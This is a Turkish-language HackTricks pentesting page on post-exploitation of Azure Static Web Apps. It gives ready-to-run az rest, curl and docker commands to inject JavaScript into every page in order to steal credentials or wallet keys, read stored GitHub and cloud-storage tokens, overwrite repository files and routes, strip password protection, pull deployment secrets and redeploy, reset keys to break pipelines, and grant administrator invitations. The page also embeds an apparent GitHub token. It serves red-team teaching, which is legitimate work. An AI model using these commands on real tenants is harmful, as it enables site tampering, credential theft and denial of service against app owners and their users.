Az - Static Web Apps Post Exploitation
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Azure Static Web Apps
Bu hizmet hakkında daha fazla bilgi için bakınız:
Microsoft.Web/staticSites/snippets/write
Bir snippet oluşturarak statik bir web sayfasının keyfi HTML kodu yüklemesi sağlanabilir. Bu, saldırganın web app içine JS kodu enjekte etmesine ve kimlik bilgileri veya mnemonic keys (web3 wallets’taki) gibi hassas bilgileri çalmasına olanak tanıyabilir.
Aşağıdaki komut, web app tarafından her zaman yüklenecek bir snippet oluşturur::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
Yapılandırılmış Üçüncü Taraf Kimlik Bilgilerini Okuma
App Service bölümünde açıklandığı gibi:
Aşağıdaki komutu çalıştırarak, geçerli hesapta yapılandırılmış üçüncü taraf kimlik bilgilerini okuyabilirsiniz. Örneğin bazı Github kimlik bilgileri farklı bir kullanıcıya yapılandırılmışsa, token’a başka bir kullanıcıdan erişemezsiniz.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Bu komut Github, Bitbucket, Dropbox ve OneDrive için token’ları döndürür.
İşte token’ları kontrol etmek için bazı komut örnekleri:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Dosya üzerine yazma - Rotaları, HTML, JS…
Azure’ın Github token’ına sahip olması yoluyla, uygulamayı içeren Github repo içindeki bir dosyayı üzerine yazmak mümkündür; aşağıdaki gibi bir istek gönderilerek hangi dosya yolunun üzerine yazılacağı, dosya içeriği ve commit mesajı belirtilir.
Bu, saldırganlar tarafından temelde web uygulamasının içeriğini değiştirip kötü amaçlı içerik sunmak (kimlik bilgilerini, mnemonic anahtarları çalmak…) veya sadece belirli yolları kendi sunucularına yönlendirmek için staticwebapp.config.json dosyasını üzerine yazarak kötüye kullanılabilir.
Warning
Eğer bir saldırgan Github reposunu herhangi bir şekilde ele geçirirse, dosyayı doğrudan Github üzerinden de üzerine yazabilirler.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
Microsoft.Web/staticSites/config/write
Bu izinle, aşağıdaki gibi bir istek göndererek bir static web app’i koruyan parolayı değiştirmek veya hatta her ortamın korumasını kaldırmak mümkündür:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
Bu izin statik uygulama için API key deployment token’ı almayı sağlar.
az rest kullanarak:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
AzCLI kullanarak:
az staticwebapp secrets list --name <appname> --resource-group <RG>
O zaman, token kullanarak bir uygulamayı güncellemek için aşağıdaki komutu çalıştırabilirsiniz. Bu komut, Azure’un varsayılan olarak kullanması için ayarladığı Github Action https://github.com/Azure/static-web-apps-deploy’ın nasıl çalıştığını inceleyerek çıkarıldı. Bu yüzden imaj ve parametreler gelecekte değişebilir.
Tip
Uygulamayı dağıtmak için
swaaracını https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token adresinden kullanabilir veya aşağıdaki temel adımları izleyebilirsiniz:
- Repo’yu https://github.com/staticwebdev/react-basic (veya dağıtmak istediğiniz başka bir repo) indirip
cd react-basicçalıştırın. - Dağıtmak istediğiniz kodu değiştirin
- Aşağıdaki komutla dağıtın (
<api-token>’i değiştirmeyi unutmayın):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
Warning
Tokena sahip olsanız bile uygulamayı dağıtamazsınız eğer Deployment Authorization Policy Github olarak ayarlıysa. Token’ı kullanmak için dağıtım yöntemini APi token’ı kullanacak şekilde değiştirmek üzere
Microsoft.Web/staticSites/writeiznine ihtiyacınız olacak.
Microsoft.Web/staticSites/write
Bu izin ile static web app’in kaynağını farklı bir Github deposuna değiştirmek mümkündür; ancak bu otomatik olarak provision edilmeyecektir çünkü bu işlem bir Github Action tarafından yapılmalıdır.
Ancak eğer Deployment Authotization Policy Github olarak ayarlıysa, uygulamayı yeni kaynak deposundan güncellemek mümkün!.
Eğer Deployment Authorization Policy Github olarak ayarlı değilse, bunu aynı Microsoft.Web/staticSites/write izni ile değiştirebilirsiniz.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
Uygulamayı dağıtmak için örnek Github Action:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
Bu izinle static web app için API key’i sıfırlamak mümkün olup, uygulamayı otomatik olarak deploy eden workflows’ları potansiyel olarak DoSing yapabilir.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
Bu izin, belirli bir rol ile statik bir web uygulamasının içindeki korumalı yollara erişim için bir kullanıcıya davet oluşturmayı sağlar.
Giriş, github için /.auth/login/github veya Entra ID için /.auth/login/aad gibi bir yolda bulunur ve bir kullanıcı şu komutla davet edilebilir:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Request’ler
Varsayılan olarak aynı repo içindeki bir branch’ten gelen Pull Request’ler otomatik olarak derlenir ve bir staging ortamında build edilir. Bu, repo üzerinde yazma erişimi olan ancak üretim branch korumalarını (genellikle main) atlayamayan bir saldırgan tarafından staging URL’sine uygulamanın kötü amaçlı bir sürümünü deploy etmek için suistimal edilebilir.
Staging URL şu formatta olur: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> örnek: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
Tip
Varsayılan olarak harici PR’ler, repository’ye en az 1 PR merge etmedikçe workflows çalıştırmazlar. Bir saldırgan repo’ya geçerli bir PR gönderip sonra staging ortamına kötü amaçlı uygulamayı deploy etmek için repo’ya kötü amaçlı bir PR gönderebilir. ANCAK beklenmedik bir koruma vardır: static web app’e deploy eden varsayılan Github Action, deployment token’ını içeren secret’a (ör.
secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) erişim gerektirir, deployment IDToken ile yapılsa bile. Bu yüzden harici bir PR bu secret’a erişemeyeceğinden ve harici bir PR kabul edilmeden Workflow’u değiştirip buraya rastgele bir token koyamayacağından, bu saldırı aslında işe yaramaz.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

